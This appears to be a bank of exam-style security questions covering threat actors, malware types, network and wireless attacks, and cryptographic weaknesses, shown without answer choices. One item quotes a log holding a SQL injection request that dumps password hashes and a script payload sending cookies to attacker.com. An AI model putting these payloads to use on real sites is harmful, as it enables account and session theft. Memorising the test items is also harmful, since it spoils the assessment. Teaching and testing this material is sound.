Threats, Vulnerabilities, and Mitigations

During an investigation at a regional power grid operator, incident responders uncover an adversary that maintained persistent, undetected access across internal control networks for over nine months. The adversary utilized customized living-off-the-land techniques to exfiltrate SCADA architecture diagrams and operational telemetry while intentionally avoiding ransomware deployment or disruptive activity. Which of the following threat actor types and attribute profiles best aligns with this behavior?

A security analyst investigates application logs following an intrusion alert on a customer-facing portal and identifies two distinct HTTP request strings executed in rapid succession:

text
GET /search.php?item=102%20UNION%20SELECT%20username,password_hash%20FROM%20accounts-- HTTP/1.1
POST /feedback.php HTTP/1.1
Host: portal.example.com
Content-Type: application/x-www-form-urlencoded

comment=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

Based on the log evidence provided, which of the following software remediations must the development team implement to eliminate these specific application vulnerabilities? (Select TWO.)

During an enterprise incident response triage, security engineers analyze a compromised domain controller demonstrating unauthorized administrative activity. Diagnostics reveal that the attack payload was injected directly into system RAM using a legitimate administrative utility, executing strictly in volatile memory without writing any standalone binary file to the host hard drive. Which of the following malware classifications best describes this type of threat?

During an internal security audit, an administrator identifies two host vulnerabilities on an enterprise web server: an unauthenticated REST API endpoint susceptible to directory traversal, and legacy SMB services accepting anonymous NULL session connections. Which TWO of the following remediation measures should the administrator implement to directly resolve these host and architecture vulnerabilities?

Match each observed network or wireless attack indicator on the left with its corresponding attack classification on the right.

During a routine post-incident investigation at a commercial financial auditing firm, security engineers discover an intrusion originating from a compromised third-party software build pipeline. The attack exhibited high technical sophistication, stealthy persistence across multiple network segments, and extensive resource backing, with an operational focus on long-term corporate intelligence gathering rather than immediate financial extortion. Which threat actor profile best aligns with the operational attributes and attack vector observed in this scenario?

A network administrator inspecting wireless event logs discovers that multiple client devices are repeatedly and abruptly losing connectivity to the enterprise access point. The logs reveal a flood of unencrypted 802.11 management packets sent with the MAC address of the access point, instructing the clients to immediately terminate their session. Which of the following wireless attack types is indicated by these log entries?

An application security engineer analyzes transaction execution traces and thread dumps from a multi-threaded microservice responsible for handling account withdrawals. The application verifies an account's available funds prior to deducting the balance and completing the transfer. During high-concurrency peak load testing, automated monitoring detects instances where account balances drop below zero despite validation checks executing successfully without failure. Code analysis confirms that the check and the update operations are executed as non-atomic statements across separate database connections. Which of the following vulnerabilities is demonstrated in this scenario?

Match each observed security incident technical indicator on the left with its corresponding malware classification on the right.

During an incident investigation on an enterprise wired subnet, a security analyst reviews endpoint logs and network traffic captures. The log entries reveal that the MAC address bound to the default gateway IP address ($10.20.1.1$) is rapidly oscillating between the legitimate router physical address ($00:11:22:33:44:55$) and an unknown physical address ($00:AA:BB:CC:DD:EE$). This address flipping is accompanied by a continuous flood of unsolicited Gratuitous ARP reply packets broadcast across the local segment. Which of the following network attacks is currently taking place?

During a security audit, system administrators discover an unapproved executable file residing on a database server. Technical analysis reveals that the executable monitors system performance and remains inactive until the database reaches exactly $10{}000$ records, at which point it automatically executes a script to purge system audit logs. Which of the following malware classifications best describes this threat?

An enterprise systems administrator is performing a security posture review of host operating systems, network services, and infrastructure hardware. Match each host, network, or architecture vulnerability to its corresponding primary risk or operational impact.

An organization is updating its internal web application architecture to prevent eavesdropping and data tampering across internal subnets. A network team member suggests omitting TLS encryption for internal microservice communications, arguing that existing perimeter firewalls and isolated VLANs make the internal network inherently safe from interception. Which security control weakness is demonstrated by this proposed architecture?

Match each observed technical indicator from packet captures and system logs to its corresponding network or wireless attack classification.

An endpoint detection and response telemetry report identifies an unapproved background process establishing persistence via a scheduled task named SystemHealthCheck. Memory inspection confirms the payload performs API hooking into explorer.exe to capture user credentials typed into web browsers and collect window titles, while establishing encrypted outbound connections to an external command-and-control server. Which of the following technical characteristics and malware classifications directly align with this observed incident? (Select TWO.)

A security analyst at a global hospitality enterprise discovers an unauthorized remote access tool installed on point-of-sale systems across multiple properties. Investigation reveals that an external adversary gained initial access using compromised credentials from a third-party vendor to deploy custom malware specifically designed to harvest credit card data for long-term monetary profit. Based on these observed attributes, which threat actor type and primary motivation best describe this adversary?

A security engineer auditing an enterprise cloud microservices environment identifies two specific architectural design choices: internal microservice-to-microservice traffic relies solely on network IP address allowlists without identity verification, and database backup files are encrypted using AES operating in Electronic Codebook (ECB) mode. Which of the following statements correctly describe the cryptographic and security control weaknesses present in this environment? (Select TWO.)

A system administrator notices that several virtualized database servers are experiencing sustained 100% CPU utilization during off-peak hours. Outbound network logs show persistent, encrypted connections on TCP port 3333 transmitting data structured with the Stratum communication protocol. An endpoint inspection reveals an unauthorized process masquerading as a system executable (`svchost.exe`) running under a compromised service account. Which of the following malware types is most likely responsible for this activity?

During a routine security assessment of hypervisor hosts in an enterprise data center, a security analyst reviews the following vulnerability scan report snippet:

Host: 192.168.42.15
Port: 427/TCP, 427/UDP
Service: Service Location Protocol (SLP)
Vulnerability: Remote Code Execution via Pre-Authentication Heap Overflow
CVSS Score: 9.8 (Critical)
Summary: Unauthenticated remote users can execute arbitrary code with root privileges on the hypervisor host by sending crafted SLP requests.

Which of the following network architecture and host hardening controls represents the MOST effective immediate remediation to eliminate this exposure without disrupting guest virtual machine operations?

A financial enterprise archives encrypted network packet captures of client communications for long-term compliance auditing. During a security review, an analyst notes that the legacy web application server is configured to prioritize static RSA key exchange cipher suites (such as TLS_RSA_WITH_AES_256_GCM_SHA384). If an adversary obtains the server's private key at a future date, which of the following security control weaknesses poses the greatest threat to the archived data?